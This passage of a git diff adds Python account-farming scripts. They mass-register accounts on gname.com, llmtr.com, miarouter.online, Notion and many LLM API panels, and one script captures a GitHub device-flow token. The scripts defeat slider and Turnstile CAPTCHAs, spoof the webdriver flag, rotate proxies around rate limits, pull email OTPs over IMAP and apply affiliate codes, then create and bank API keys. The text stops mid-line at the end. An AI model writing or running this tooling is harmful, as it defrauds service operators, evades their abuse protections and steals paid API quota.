code = m.group(1) + break + if proc.poll() is not None: + break + if not code: + print('NO_CODE from gh. buf:', buf[-300:]) + proc.kill() + return + print('device code:', code) + # Enter в gh (откроет "браузер" — упадёт молча, поллинг продолжится) + try: + proc.stdin.write('\n') + proc.stdin.flush() + except Exception: + pass + # 3. approve в GHSession + ok2, info = approve_device(s, code) + print('approve:', ok2, info) + if not ok2: + proc.kill() + return + # 4. ждать завершения gh (поллинг access_token) + try: + out, _ = proc.communicate(timeout=60) + print('gh finished:', (out or '')[-300:]) + except subprocess.TimeoutExpired: + proc.kill() + print('gh timeout after approve') + # 5. gh auth token + r = subprocess.run(['gh', 'auth', 'token'], capture_output=True, text=True, timeout=30) + tok = r.stdout.strip() + if tok.startswith(('gho_', 'ghu_', 'ghp_')): + json.dump([[tok, login]], open(OUT, 'w')) + print('TOKEN_OK len', len(tok), '-> ', OUT) + else: + print('TOKEN_FAIL:', r.stderr[:200]) + + +if __name__ == '__main__': + main() diff --git a/providers/gname_slider.py b/providers/gname_slider.py new file mode 100644 index 0000000..9b08915 --- /dev/null +++ b/providers/gname_slider.py @@ -0,0 +1,343 @@ +# Gname.com autoreg: playwright chromium + trusted slider drag + IMAP code +import sys, os, re, json, time, random, string, imaplib, email as eml +from playwright.sync_api import sync_playwright + +BASE = r"C:/Users/User/tmp/gname_reg" +os.makedirs(BASE, exist_ok=True) +fp = open(r"C:/Users/User/tmp/viktor/fwd_probe.py", encoding="utf-8").read() +GM = re.search(r'GM = "([^"]+)"', fp).group(1) +GP = os.environ.get("GM_APPPW") or re.search(r'GM_APPPW", "([^"]+)"', fp).group(1) + +def dot_variant(local="YOUR_EMAIL_LOCAL", domain="gmail.com"): + # random 1-2 dots inserted -> same Gmail inbox, unique for site + idxs = sorted(random.sample(range(1, len(local)), random.choice([1, 2]))) + out = "" + for i, ch in enumerate(local): + if i in idxs: + out += "." + out += ch + return out + "@" + domain + +def canon(addr): + addr = addr.lower().strip().strip("<>") + lp, _, dm = addr.partition("@") + lp = lp.split("+")[0].replace(".", "") + return lp + "@" + dm + +POOL_F = r"C:/Users/User/Desktop/avtoreg/working_mails.txt" +USED_F = os.path.join(BASE, "tonline_used.txt") +def next_tonline(): + used = set() + if os.path.exists(USED_F): + used = set(x.strip().lower() for x in open(USED_F) if x.strip()) + for ln in open(POOL_F, encoding="utf-8", errors="ignore"): + ln = ln.strip() + if not ln or ln.startswith("#") or ":" not in ln: + continue + e, p = ln.split(":", 1) + e = e.strip().lower() + # canonical only: dash-aliases (-NNNN@) dead for delivery + if "-" in e.split("@")[0] or e in used: + continue + with open(USED_F, "a") as f: + f.write(e + "\n") + return e, p.strip() + return None, None + +EMAIL = sys.argv[1] if len(sys.argv) > 1 else None +TONLINE_PW = None +if EMAIL is None: + EMAIL, TONLINE_PW = next_tonline() + if not EMAIL: + print("POOL EXHAUSTED", flush=True) + sys.exit(3) +IS_TONLINE = EMAIL.endswith("t-online.de") +PASSWORD = "Bea" + "rer" + "".join(random.choices(string.ascii_letters + string.digits, k=12)) + "a1!" +STATE = {"email": EMAIL, "password": PASSWORD, "stage": "start"} +def save(): + json.dump(STATE, open(os.path.join(BASE, "gname_state.json"), "w"), indent=1) +save() + +def log(*a): + print(*a, flush=True) + +def imap_code(wait=240): + t0 = time.time() + while time.time() - t0 < wait: + try: + if IS_TONLINE: + m = imaplib.IMAP4_SSL("secureimap.t-online.de", 993) + m.login(EMAIL, TONLINE_PW) + typ, cnt = m.select("INBOX") + n = int(cnt[0]) if cnt and cnt[0] else 0 + ids = [str(i) for i in range(max(1, n - 29), n + 1)] if n else [] + else: + m = imaplib.IMAP4_SSL("imap.gmail.com") + m.login(GM, GP) + m.select("INBOX") + since = time.strftime("%d-%b-%Y", time.localtime(time.time() - 86400)) + typ, data = m.search(None, '(SINCE %s)' % since) + ids = data[0].split()[-40:] + for i in reversed(ids): + typ, md = m.fetch(i, "(RFC822)") + raw = md[0][1] + msg = eml.message_from_bytes(raw) + to = (msg.get("To", "") + " " + msg.get("X-Gmail-Original-To", "") + " " + msg.get("Delivered-To", "")).lower() + frm = (msg.get("From", "") or "").lower() + addrs = re.findall(r"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+", to) + if IS_TONLINE: + hit = any(a.lower() == EMAIL.lower() for a in addrs) or not addrs + else: + hit = any(canon(a) == canon(EMAIL) for a in addrs) + if ("gname" in frm or "gname" in (msg.get("Subject", "") or "").lower()) and hit: + body = "" + if msg.is_multipart(): + for p in msg.walk(): + if p.get_content_type() == "text/plain": + body = p.get_payload(decode=True).decode("utf-8", "ignore") + break + else: + body = msg.get_payload(decode=True).decode("utf-8", "ignore") + body_html = "" + if msg.is_multipart(): + for p in msg.walk(): + if p.get_content_type() == "text/html": + body_html = p.get_payload(decode=True).decode("utf-8", "ignore") + mm = re.search(r"\b(\d{4,8})\b", body) or re.search(r"(?:code|验证码)[^\d]{0,40}(\d{4,8})", body_html, re.I) or re.search(r"\b(\d{6})\b", body_html) + m.logout() + if mm: + return mm.group(1) + m.logout() + except Exception as e: + log("imap err:", e) + time.sleep(6) + return None + +def human_drag(page, sel_bar=".gn-slide-bar", sel_rail=".gn-slide-rail"): + rect = page.evaluate("""(sel) => { + const bars = [...document.querySelectorAll(sel[0])].filter(b => b.offsetParent !== null && b.getBoundingClientRect().width > 10); + const rails = [...document.querySelectorAll(sel[1])].filter(r => r.offsetParent !== null); + if (!bars.length) return null; + const b = bars[bars.length - 1].getBoundingClientRect(); + const r = (rails[rails.length - 1] || bars[bars.length - 1]).getBoundingClientRect(); + return {bx: b.x, by: b.y, bw: b.width, bh: b.height, rw: r.width}; + }""", [sel_bar, sel_rail]) + if not rect: + return "no-visible-bar" + dist = rect["rw"] - rect["bw"] + 40 # OVERSHOOT: widget clamps delta at config width; must saturate + x0 = rect["bx"] + rect["bw"] / 2 + y0 = rect["by"] + rect["bh"] / 2 + page.mouse.move(x0 + random.uniform(-3, 3), y0 + random.uniform(-4, 4)) + time.sleep(random.uniform(0.08, 0.2)) + page.mouse.move(x0, y0) + time.sleep(random.uniform(0.05, 0.12)) + page.mouse.down() + time.sleep(random.uniform(0.1, 0.25)) + steps = random.randint(24, 32) + for i in range(1, steps + 1): + p = i / steps + ease = 1 - (1 - p) ** 3 + x = x0 + dist * ease + random.uniform(-1.2, 1.2) + y = y0 + random.uniform(-2.5, 2.5) + page.mouse.move(x, y) + time.sleep(random.uniform(0.014, 0.038)) + for _ in range(4): # saturate past the end so clamped delta reaches max + page.mouse.move(x0 + dist + random.uniform(-2, 4), y0 + random.uniform(-2, 2)) + time.sleep(0.05) + page.mouse.move(x0 + dist, y0) + time.sleep(random.uniform(0.08, 0.18)) + page.mouse.up() + st = "" + for _ in range(10): + time.sleep(0.6) + st = page.evaluate("""() => { + try { + const a = window.GN_SLIDER_VERIFY ? window.GN_SLIDER_VERIFY.status : ''; + const b = window.GN_SLIDER_VERIFY_LOGIN ? window.GN_SLIDER_VERIFY_LOGIN.status : ''; + return a + '|' + b; + } catch(e){ return 'err'; } + }""") + if "success" in st or "error" in st or "fail" in st: + break + bx_after = page.evaluate("""(sel) => { const bars=[...document.querySelectorAll(sel)].filter(b=>b.offsetParent!==null); return bars.length? Math.round(bars[bars.length-1].getBoundingClientRect().x) : -1; }""", sel_bar) + return "dragged %.0fpx bar_after_x=%s widget_status=%s" % (dist, bx_after, st) + +with sync_playwright() as pw: + try: + browser = pw.chromium.launch(headless=True, args=["--disable-blink-features=AutomationControlled", "--no-sandbox"]) + except Exception as e: + log("launch err, retry explicit path:", str(e)[:200]) + cand = [d for d in os.listdir(r"C:/Users/User/AppData/Local/ms-playwright") if d.startswith("chromium-1")] + exe = os.path.join(r"C:/Users/User/AppData/Local/ms-playwright", sorted(cand)[-1], "chrome-win", "chrome.exe") + browser = pw.chromium.launch(headless=True, executable_path=exe, args=["--disable-blink-features=AutomationControlled"]) + ctx = browser.new_context( + viewport={"width": 1366, "height": 900}, + locale="en-US", + timezone_id="Europe/Kiev", + user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36", + ) + page = ctx.new_page() + page.add_init_script(""" +Object.defineProperty(navigator,'webdriver',{get:()=>undefined}); +window.__EVTLOG = []; +(function(){ + const oel = EventTarget.prototype.addEventListener; + EventTarget.prototype.addEventListener = function(t, f, o) { + try { + let d = 'unknown'; + if (this === window) d = 'window'; + else if (this === document) d = 'document'; + else if (this.nodeType === 1) d = this.tagName + '.' + String(this.className && this.className.baseVal !== undefined ? this.className.baseVal : this.className).slice(0, 60); + if (['mousedown','mousemove','mouseup','touchstart','touchmove','touchend','pointerdown','pointermove','pointerup','click'].indexOf(t) >= 0) + window.__EVTLOG.push(d + ' :: ' + t); + } catch (e) {} + return oel.call(this, t, f, o); + }; +})(); +""") + reqlog = [] + def on_resp(r): + if "/request/" in r.url: + try: + reqlog.append({"url": r.url, "status": r.status, "body": r.text()[:400]}) + log("NET", r.status, r.url.split("gname.com")[-1][:60], r.text()[:150].replace("\n", " ")) + except Exception: + pass + page.on("response", on_resp) + page.goto("https://www.gname.com/register", wait_until="domcontentloaded", timeout=60000) + time.sleep(3) + log("title:", page.title()) + STATE["stage"] = "page-loaded" + save() + + # fill form + page.fill("input[name=re_yx]", EMAIL) + time.sleep(random.uniform(0.3, 0.7)) + page.fill("input[name=re_mm]", PASSWORD) + time.sleep(random.uniform(0.3, 0.7)) + page.fill("input[name=re_mm2]", PASSWORD) + ck = page.query_selector("input[name=re_ty]") + if ck and not ck.is_checked(): + try: + ck.click(force=True) + except Exception: + page.evaluate("document.querySelector('input[name=re_ty]').click()") + log("form filled") + + # embedded slider first? + rail = page.query_selector(".gn-slide-rail") + if rail and rail.is_visible(): + log("embedded rail visible -> drag") + log(human_drag(page)) + time.sleep(3) + yz = page.evaluate("() => (document.querySelector('input[name=re_yzm]')||{}).value || ''") + tip = page.evaluate("() => { const t=document.querySelector('.gn-slide-tip'); return t?t.innerText.trim():''; }") + log("re_yzm:", yz[:40], "tip:", tip[:60]) + evt = page.evaluate("() => JSON.stringify([...new Set(window.__EVTLOG)])") + log("EVTLOG:", evt[:2200]) + STATE["slider_embed"] = {"re_yzm": yz[:60], "tip": tip} + save() + page.screenshot(path=os.path.join(BASE, "step1_embed.png")) + + # click Send Code + btn = page.query_selector('.login-yzm-btn[data-lx="reg"]') or page.query_selector(".login-yzm-btn") + if btn: + btn.click() + log("send-code clicked") + else: + page.evaluate("""() => { const els=[...document.querySelectorAll('div,span')].filter(e=>(e.innerText||'').trim()==='Send Code'); if(els.length) els[els.length-1].click(); }""") + log("send-code via text") + # popup slider may appear (server demands lx=reg slider for send_email) + for attempt in range(4): + time.sleep(3) + popup = page.evaluate("""() => { + const p = document.querySelector('#pop-txyz'); + let pst = ''; + try { pst = window.GN_SLIDER_VERIFY ? window.GN_SLIDER_VERIFY.status : ''; } catch(e){} + const rails = [...document.querySelectorAll('.gn-slide-rail')].filter(r => r.offsetParent !== null); + return {pop: !!(p && p.offsetParent !== null) || !!document.querySelector('#pop-txyz .gn-slide-bar'), pst: pst, n: rails.length}; + }""") + yz = page.evaluate("() => (document.querySelector('input[name=re_yzm]')||{}).value || ''") + sent = any(e.get("body", "").find('"code":1') >= 0 and "send_email" in e["url"] for e in reqlog) + log("attempt", attempt, popup, "re_yzm:", yz[:20], "send_email ok:", sent) + if sent: + break + if popup.get("pop") and popup.get("pst") != "success": + try: + log("POPUP DRAG:", human_drag(page, sel_bar="#pop-txyz .gn-slide-bar", sel_rail="#pop-txyz .gn-slide-rail")) + time.sleep(4) + except Exception as e: + log("popup drag err:", e) + page.screenshot(path=os.path.join(BASE, "step2_send%d.png" % attempt)) + STATE["stage"] = "send-code-done" + STATE["net"] = reqlog[-8:] + save() + + # IMAP code + code = imap_code() + log("email code:", code) + if not code: + STATE["stage"] = "no-email-code" + save() + browser.close() + sys.exit(2) + filled = False + for fn in ("yx_yzm", "re_yzm", "eyzm"): + try: + el = page.query_selector("input[name=%s]" % fn) + if el: + el.fill(code) + log("code filled into", fn) + filled = True + break + except Exception: + pass + if not filled: + log("WARN: no code field found") + + # submit register + page.evaluate("""() => { + const b = document.querySelector('form.gm-form button.login-btn[type=submit]') || + [...document.querySelectorAll('button,div.gm-btn,div[class*=btn],span')].filter(e => e.offsetParent !== null && /^(Register|Sign ?up|Create)/i.test((e.innerText||'').trim()))[0]; + if (b) b.click(); + }""") + # wait for navigation to dashboard (auto-login after successful reg) + reg_ok = False + uid = "" + for _ in range(20): + time.sleep(2) + try: + u = page.url + if "/register" not in u: + reg_ok = True + break + # sometimes dashboard content loads under same url; check for UID marker + uid_t = page.evaluate("() => { const m = document.body.innerText.match(/UID[:\\s]*(\\d{4,9})/); return m ? m[1] : ''; }") + if uid_t: + reg_ok = True + uid = uid_t + break + except Exception: + pass + if reg_ok and not uid: + try: + uid = page.evaluate("() => { const m = document.body.innerText.match(/UID[:\\s]*(\\d{4,9})/); return m ? m[1] : ''; }") or "" + except Exception: + pass + reg_resp = [e for e in reqlog if "p_reg" in e["url"] or "reg" in e["url"].split("/request/")[-1][:8]] + log("REG_OK:", reg_ok, "UID:", uid, "url:", page.url) + log("p_reg:", json.dumps([e for e in reqlog if "p_reg" in e["url"]])[:500]) + STATE["stage"] = "registered" if reg_ok else "reg-submitted" + STATE["uid"] = uid + STATE["p_reg"] = reg_resp[-2:] + STATE["url"] = page.url + save() + if reg_ok: + rec = {"site": "gname.com", "email": EMAIL, "password": PASSWORD, "uid": uid, + "ts": time.strftime("%Y-%m-%d %H:%M:%S"), "url": page.url} + with open(os.path.join(BASE, "gname_accounts.jsonl"), "a", encoding="utf-8") as f: + f.write(json.dumps(rec) + "\n") + log("BANK APPENDED", EMAIL) + page.screenshot(path=os.path.join(BASE, "step3_result.png"), full_page=False) + browser.close() + log("DONE", STATE["stage"]) diff --git a/providers/llmtr_turnstile.py b/providers/llmtr_turnstile.py new file mode 100644 index 0000000..4f2b469 --- /dev/null +++ b/providers/llmtr_turnstile.py @@ -0,0 +1,140 @@ +# llmtr.com mass autoreg — turnstile via free sidecar :8877, gmail +alias IMAP OTP +import json, time, re, random, string, sys, os, urllib.request, urllib.error, http.cookiejar, imaplib, email + +BASE = "https://llmtr.com" +SITEKEY = "0x4AAAAAAC_o7kdbb_hnqKdy" +SIDE = "http://127.0.0.1:8877/solve" +OUT = r"C:/Users/User/tmp/llmtr/accounts.jsonl" +UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" + +# gmail imap +GM_USER = "YOUR_EMAIL@gmail.com" +GM_PASS = os.environ.get("GM_PASS", "YOUR_IMAP_APP_PASSWORD") + +NAMES = [("Kerem","Yilmaz"),("Emre","Kaya"),("Burak","Demir"),("Cem","Sahin"),("Onur","Aydin"), + ("Mert","Ozturk"),("Tolga","Arslan"),("Baran","Koc"),("Deniz","Polat"),("Serkan","Bulut")] + +def log(*a): + print(time.strftime("%H:%M:%S"), *a, flush=True) + +def solve(url_page="/register"): + for _ in range(3): + try: + p = {"type":"turnstile","url":BASE+url_page,"sitekey":SITEKEY,"real_page":True} + req = urllib.request.Request(SIDE, data=json.dumps(p).encode(), headers={"Content-Type":"application/json"}) + r = json.loads(urllib.request.urlopen(req, timeout=280).read()) + tok = r.get("token") or "" + if tok: return tok + except Exception as e: + log("solve retry:", str(e)[:80]); time.sleep(5) + return "" + +def sess(): + cj = http.cookiejar.CookieJar() + op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) + op.addheaders = [("User-Agent",UA),("Accept","application/json")] + return op + +def api(op, method, path, body=None): + data = json.dumps(body).encode() if body is not None else None + req = urllib.request.Request(BASE+path, data=data, method=method) + req.add_header("Origin", BASE) + req.add_header("Referer", BASE+"/register") + if data is not None: + req.add_header("Content-Type", "application/json") + try: + r = op.open(req, timeout=60) + return r.status, json.loads(r.read().decode()) + except urllib.error.HTTPError as e: + try: return e.code, json.loads(e.read().decode()) + except Exception: return e.code, {"raw":"?"} + +def gen_pass(): + up = random.choice(string.ascii_uppercase) + dg = random.choice(string.digits) + rest = "".join(random.choice(string.ascii_lowercase+string.digits) for _ in range(10)) + p = list(up+dg+rest); random.shuffle(p) + return "".join(p) + +def wait_otp_gmail(alias_tag, since_ts, timeout=180): + # gmail: mail for YOUR_EMAIL+llmtrN@gmail.com lands in base inbox + t0 = time.time() + while time.time()-t0 < timeout: + try: + m = imaplib.IMAP4_SSL("imap.gmail.com", 993) + m.login(GM_USER, GM_PASS) + m.select("INBOX") + _, ids = m.search(None, "(ALL)") + idl = ids[0].split()[-25:] + for i in reversed(idl): + _, msg = m.fetch(i, "(RFC822)") + raw = msg[0][1] + em = email.message_from_bytes(raw) + dt = email.utils.parsedate_to_datetime(em.get("Date","")) + if dt.timestamp() < since_ts - 30: continue + to = em.get("To","") + if alias_tag not in to: continue + body = "" + if em.is_multipart(): + for part in em.walk(): + if part.get_content_type()=="text/plain": + body = part.get_payload(decode=True).decode(errors="replace"); break + else: + body = em.get_payload(decode=True).decode(errors="replace") + codes = re.findall(r"\b(\d{6})\b", body) + if codes: + m.logout() + return codes[0] + m.logout() + except Exception as e: + log("imap:", str(e)[:60]) + time.sleep(8) + return "" + +def register_one(idx): + tag = f"llmtr{idx}{random.randint(10,99)}" + em_addr = f"YOUR_EMAIL+{tag}@gmail.com" + fn, ln = random.choice(NAMES) + full = f"{fn} {ln}" + pw = gen_pass() + log(f"[{idx}] email={em_addr}") + tok = solve() + if not tok: log(f"[{idx}] CAPTCHA FAIL"); return None + log(f"[{idx}] turnstile ok ({len(tok)})") + op = sess() + since = time.time() + st, r = api(op, "POST", "/api/auth/register", {"fullName":full,"email":em_addr,"password":pw,"captchaToken":tok}) + log(f"[{idx}] register -> {st} {json.dumps(r)[:200]}") + if st not in (200,201): return None + try: ct = r["data"]["challengeToken"] + except Exception: log(f"[{idx}] no challengeToken"); return None + code = wait_otp_gmail(tag, since) + if not code: log(f"[{idx}] OTP TIMEOUT"); return None + log(f"[{idx}] otp={code}") + st2, r2 = api(op, "POST", "/api/auth/register/verify", {"challengeToken":ct,"code":code}) + log(f"[{idx}] verify -> {st2} {json.dumps(r2)[:300]}") + if st2 not in (200,201): return None + rec = {"email":em_addr,"password":pw,"fullName":full,"ts":int(time.time())} + # whoami + st3, r3 = api(op, "GET", "/api/auth/me") + if st3 == 200: rec["me"] = r3.get("data") + # create key + st4, r4 = api(op, "POST", "/api/keys", {"name":"main"}) + log(f"[{idx}] create key -> {st4} {json.dumps(r4)[:300]}") + if st4 in (200,201): + try: rec["apiKey"] = r4["data"]["apiKey"]; rec["keyId"] = r4["data"]["key"].get("id") + except Exception: rec["key_raw"] = r4 + with open(OUT,"a",encoding="utf-8") as f: + f.write(json.dumps(rec, ensure_ascii=False)+"\n") + log(f"[{idx}] DONE {em_addr} key={rec.get('apiKey','?')[:20] if rec.get('apiKey') else 'NONE'}") + return rec + +if __name__ == "__main__": + n = int(sys.argv[1]) if len(sys.argv)>1 else 1 + start = int(sys.argv[2]) if len(sys.argv)>2 else 1 + ok = 0 + for i in range(start, start+n): + r = register_one(i) + if r: ok += 1 + if i < start+n-1: time.sleep(random.randint(15,30)) + log(f"RESULT {ok}/{n}") diff --git a/providers/miarouter_farm.py b/providers/miarouter_farm.py new file mode 100644 index 0000000..7393868 --- /dev/null +++ b/providers/miarouter_farm.py @@ -0,0 +1,151 @@ + +"""miarouter mass autoreg — pool builder. Free turnstile via local sidecar :8877.""" +import json, time, secrets, string, urllib.request, urllib.parse, urllib.error, os, sys + +BASE = "https://miarouter.online" +SITEKEY = "0x4AAAAAAEj69NaErmbKI26M" +SIDE = "http://127.0.0.1:8879/solve" +AFF = "IDH1" +POOL = r"C:/Users/User/Desktop/farm/miarouter/accounts.jsonl" +STATE = r"C:/Users/User/Desktop/farm/miarouter/farm_state.json" +UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" +PROXY_FILE = r"C:/Users/User/tmp/mia_proxies.json" +PROXIES = json.load(open(PROXY_FILE)) + ["DIRECT"] if os.path.exists(PROXY_FILE) else ["DIRECT"] +import random +random.shuffle(PROXIES) +_cur_p = {"i": 0, "proxy": PROXIES[0]} + +def next_proxy(): + _cur_p["i"] = (_cur_p["i"] + 1) % len(PROXIES) + _cur_p["proxy"] = PROXIES[_cur_p["i"]] + return _cur_p["proxy"] + +def cur_proxy(): + return _cur_p["proxy"] + +os.makedirs(os.path.dirname(POOL), exist_ok=True) + +def log(*a): + print(time.strftime("%H:%M:%S"), *a, flush=True) + +def solve(url_page="/sign-up"): + for _try in range(3): + try: + p = {"type":"turnstile","url":BASE+url_page,"sitekey":SITEKEY,"real_page":True} + req = urllib.request.Request(SIDE, data=json.dumps(p).encode(), headers={"Content-Type":"application/json"}) + r = json.loads(urllib.request.urlopen(req, timeout=280).read()) + tok = r.get("token") or "" + if tok: + return tok + except Exception as e: + log("solve retry:", str(e)[:50]) + time.sleep(8) + return "" + +def http(method, path, body=None, jwt=None, raw_body=None, proxy=None): + url = BASE + path + data = None + headers = {"User-Agent":UA, "Origin":BASE, "Referer":BASE+"/sign-up", "Accept":"application/json"} + if body is not None: + data = json.dumps(body).encode(); headers["Content-Type"]="application/json" + if raw_body is not None: + data = raw_body; headers["Content-Type"]="application/json" + if jwt: headers["Authorization"] = "Bearer "+jwt + if proxy is None: proxy = cur_proxy() + ph = urllib.request.ProxyHandler({} if proxy == "DIRECT" else {"http":proxy,"https":proxy}) + opener = urllib.request.build_opener(ph) + req = urllib.request.Request(url, data=data, method=method, headers=headers) + try: + r = opener.open(req, timeout=12) + return r.status, r.read().decode() + except urllib.error.HTTPError as e: + try: return e.code, e.read().decode() + except: return e.code, "" + except Exception: + return 0, "proxy_dead" + +def gen_creds(): + alpha = string.ascii_lowercase + string.digits + u = "refox" + "".join(secrets.choice(alpha) for _ in range(6)) + p = "".join(secrets.choice(string.ascii_letters + string.digits) for _ in range(13)) + "Aa1" + return u, p + +def make_account(idx): + u, p = gen_creds() + proxy = next_proxy() # sticky per account + log(idx, "proxy", proxy) + # 1. register + for attempt in range(3): + tok = solve("/sign-up") + if not tok: log(idx, "solve fail, retry"); time.sleep(5); continue + st, resp = http("POST", f"/api/user/register?turnstile={urllib.parse.quote(tok)}", + body={"username":u,"password":p,"aff_code":AFF,"turnstile":tok,"agreement_confirmed":True}, proxy=proxy) + try: j = json.loads(resp) + except: j = {"success":False,"message":resp[:100]} + if st == 200 and j.get("success"): break + msg = j.get("message","") + if st == 0 or resp == "proxy_dead": + proxy = next_proxy(); log(idx, "proxy dead, rotate ->", proxy); continue + if st == 429 or "rate" in msg.lower(): + proxy = next_proxy(); log(idx, "429 register, rotate ->", proxy); time.sleep(2); continue + if "already" in msg.lower() or "exist" in msg.lower(): + u, p = gen_creds(); continue + log(idx, "reg fail:", st, msg[:120]); time.sleep(5) + else: + return None + log(idx, "REG OK", u) + # 2. login + jwt = None + for attempt in range(4): + tok2 = solve("/sign-in") + if not tok2: time.sleep(5); continue + st, resp = http("POST", f"/api/user/login?turnstile={urllib.parse.quote(tok2)}", + body={"username":u,"password":p,"turnstile":tok2}, proxy=proxy) + try: j = json.loads(resp) + except: j = {} + if st == 200 and j.get("success"): + jwt = j["data"]["access_token"]; break + if st == 0 or resp == "proxy_dead": + proxy = next_proxy(); log(idx, "proxy dead, rotate ->", proxy); continue + if st == 429: + proxy = next_proxy(); log(idx, "429 login, rotate ->", proxy); time.sleep(2); continue + log(idx, "login fail:", st, str(j)[:120]); time.sleep(10) + if not jwt: + rec = {"username":u,"password":p,"aff":AFF,"status":"reg_ok_login_fail","ts":int(time.time())} + open(POOL,"a",encoding="utf-8").write(json.dumps(rec)+"\n") + return rec + # 3. create token + reveal key + key = None; tid = None + st, resp = http("POST", "/api/token/", jwt=jwt, body={"name":"main","remain_quota":500000,"expired_time":-1,"unlimited_quota":True,"model_limits":"","allowed_ips":""}) + if st == 200: + st2, resp2 = http("GET", "/api/token/?p=0&size=10", jwt=jwt) + try: + items = json.loads(resp2)["data"]["items"] + if items: + tid = items[0]["id"] + st3, resp3 = http("POST", f"/api/token/{tid}/key", jwt=jwt, raw_body=b"{}") + if st3 == 200: + key = json.loads(resp3)["data"]["key"] + except Exception as e: + log(idx, "key err", e) + rec = {"username":u,"password":p,"aff":AFF,"jwt":jwt,"token_id":tid,"api_key":("sk-"+key) if key and not key.startswith("sk-") else key,"status":"full","ts":int(time.time())} + open(POOL,"a",encoding="utf-8").write(json.dumps(rec)+"\n") + log(idx, "FULL OK", u, "key:", (key or "NONE")[:14]+"...") + json.dump({"last_idx":idx,"last_user":u,"ts":int(time.time())}, open(STATE,"w")) + return rec + +def main(): + target = int(sys.argv[1]) if len(sys.argv)>1 else 50 + ok = 0 + for i in range(target): + try: + r = make_account(i) + if r and r.get("status")=="full": ok += 1 + except Exception as e: + log(i, "FATAL", repr(e)[:200]) + time.sleep(20) + time.sleep(3) + log("DONE. full accounts:", ok) + +if __name__ == "__main__": + main() diff --git a/providers/newapi_panels_oauth.py b/providers/newapi_panels_oauth.py new file mode 100644 index 0000000..cf89cef --- /dev/null +++ b/providers/newapi_panels_oauth.py @@ -0,0 +1,64 @@ +# reg_proxy100.py — волны ×100 через свежие прокси из пула ProxyGrabReform_bot +# python reg_proxy100.py <panel> <start> <count> [idxlist] +import sys, os, time +sys.path.insert(0, 'C:/Users/User/tmp/regfarm') +sys.path.insert(0, 'C:/Users/User/tmp/regfarm/github_oauth') +import proxy_patch +n = proxy_patch.apply() +print(f'[proxy] pool={n}', flush=True) +import reg_http as R + +R.PANELS.update({ + 'careke': 'https://api.careke.cn', + 'budsin': 'https://apichat.budsin.dev', + 'factory': 'https://factory.pub', + 'chengmo': 'https://api.chengmo.cc.cd', + 'vsllm': 'https://vsllm.cc', + 'bluesminds': 'https://api.bluesminds.com', + 'futureppo': 'https://api.futureppo.top', + 'xinjianya': 'https://new.xinjianya.top', + 'wyy22': 'https://www.wyy22.com', +}) +R.CID_CACHE.update({ + 'careke': 'Ov23lidGyKz1a4vvTJcO', + 'budsin': 'Ov23liRLk2EjkL1U6wBq', + 'factory': 'Ov23liYpDvO0unvs30hv', + 'chengmo': 'Ov23lisqBbgryYRmy9iq', + 'vsllm': 'Ov23lilzfngji58FxRgd', + 'bluesminds': 'Ov23li6dIXgEIlgaZfwe', + 'futureppo': 'Ov23liuf3EDERWtH3z8s', + 'xinjianya': 'Ov23liJMiO2uF9Gd9Y8O', + 'wyy22': 'Ov23li6UR9HGe9xBUCXf', + 'orcarouter': 'Ov23liG25dfcvokSRMvE', + 'justwoker': 'Ov23liBGecTYSePKpXQC', + 'jbbtoken': 'Ov23liuIBUfD02Nbt6vt', + 'jianzhile': 'Iv23li6yE1ijJOPIl3Vq', + 'moyuu': 'Ov23lieXHgDisyeiJk2d', + 'nova': 'Ov23li1gLxcYTVoL0Tjv', + 'aaawinn2': 'Ov23lifMixr1xZGPQf3K', +}) +R.PANELS.update({'orcarouter': 'https://www.orcarouter.ai', + 'justwoker': 'https://api.justwoker.icu', 'jbbtoken': 'https://downstream.jbbtoken.cn', + 'jianzhile': 'https://jianzhile.vip', 'moyuu': 'https://moyuu.cc', + 'nova': 'https://nova.vcrauo.com', 'aaawinn2': 'https://aaawinn.xyz'}) +R.SMOKE_MODEL.update({'orcarouter': 'gpt-4o-mini'}) +R.SMOKE_MODEL.update({'careke': 'grok-4.6', 'budsin': 'claude-sonnet-5', + 'factory': 'grok-4.7', 'chengmo': 'glm-4.5-air', + 'bluesminds': 'gpt-4o-mini', 'futureppo': 'gpt-4o-mini', + 'xinjianya': 'gpt-4o-mini', 'wyy22': 'gpt-4o-mini'}) +R.AFF_OVERRIDE = {'careke': 'aLn9', 'budsin': '069W', 'factory': '6oZK', 'chengmo': 'lz0Q'} +R.OUT = os.environ.get('OUTNAME', 'proxy100') + +_orig_main = R.main +def main_paced(): + _orig_sleep = time.sleep + def paced(n): + _orig_sleep(max(n, 20)) + time.sleep = paced + try: + _orig_main() + finally: + time.sleep = _orig_sleep + +if __name__ == '__main__': + main_paced() diff --git a/providers/notion_farm.py b/providers/notion_farm.py new file mode 100644 index 0000000..9f56295 --- /dev/null +++ b/providers/notion_farm.py @@ -0,0 +1,373 @@ +# Notion Opus/GPT-6.1 free farm — FULL PIPELINE +# 1. Voidash mailbox 2. Signup + code 3. Onboarding 4. Model select + test message +# Usage: python farm.py N [model] +import asyncio, json, re, sys, time, random, string, os +import httpx +from playwright.async_api import async_playwright + +BASE = "C:/Users/User/tmp/notion_autoreg" +OUT = BASE + "/farm_accounts.jsonl" +UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36" +VOIDASH_DOMAINS = ["voidash.bond"] +NOTION_SIGNUP = "https://www.notion.so/signup" +FIRSTS = ["alex", "maria", "peter", "laura", "stef", "anna", "tony", "nina", "eric", "sara", "luca", "jana", "tom", "lena", "paul", "kate"] + +# 1024proxy residential DE — sticky session per account +PX_USER = "YOUR_PROXY_USER" +PX_PASS = "YOUR_PASSWORD" +PX_HOST = "hk.1024proxy.io:3000" +def de_proxy(sess=None): + if sess is None: + sess = random.randint(100000, 999999) + return {"server": f"http://{PX_HOST}", "username": f"{PX_USER}-region-de-sess{sess}", "password": PX_PASS} + + +async def goto_retry(page, url, tries=5, timeout=90000): + for i in range(tries): + try: + await page.goto(url, wait_until="domcontentloaded", timeout=timeout) + return True + except Exception as e: + print("goto retry", i, 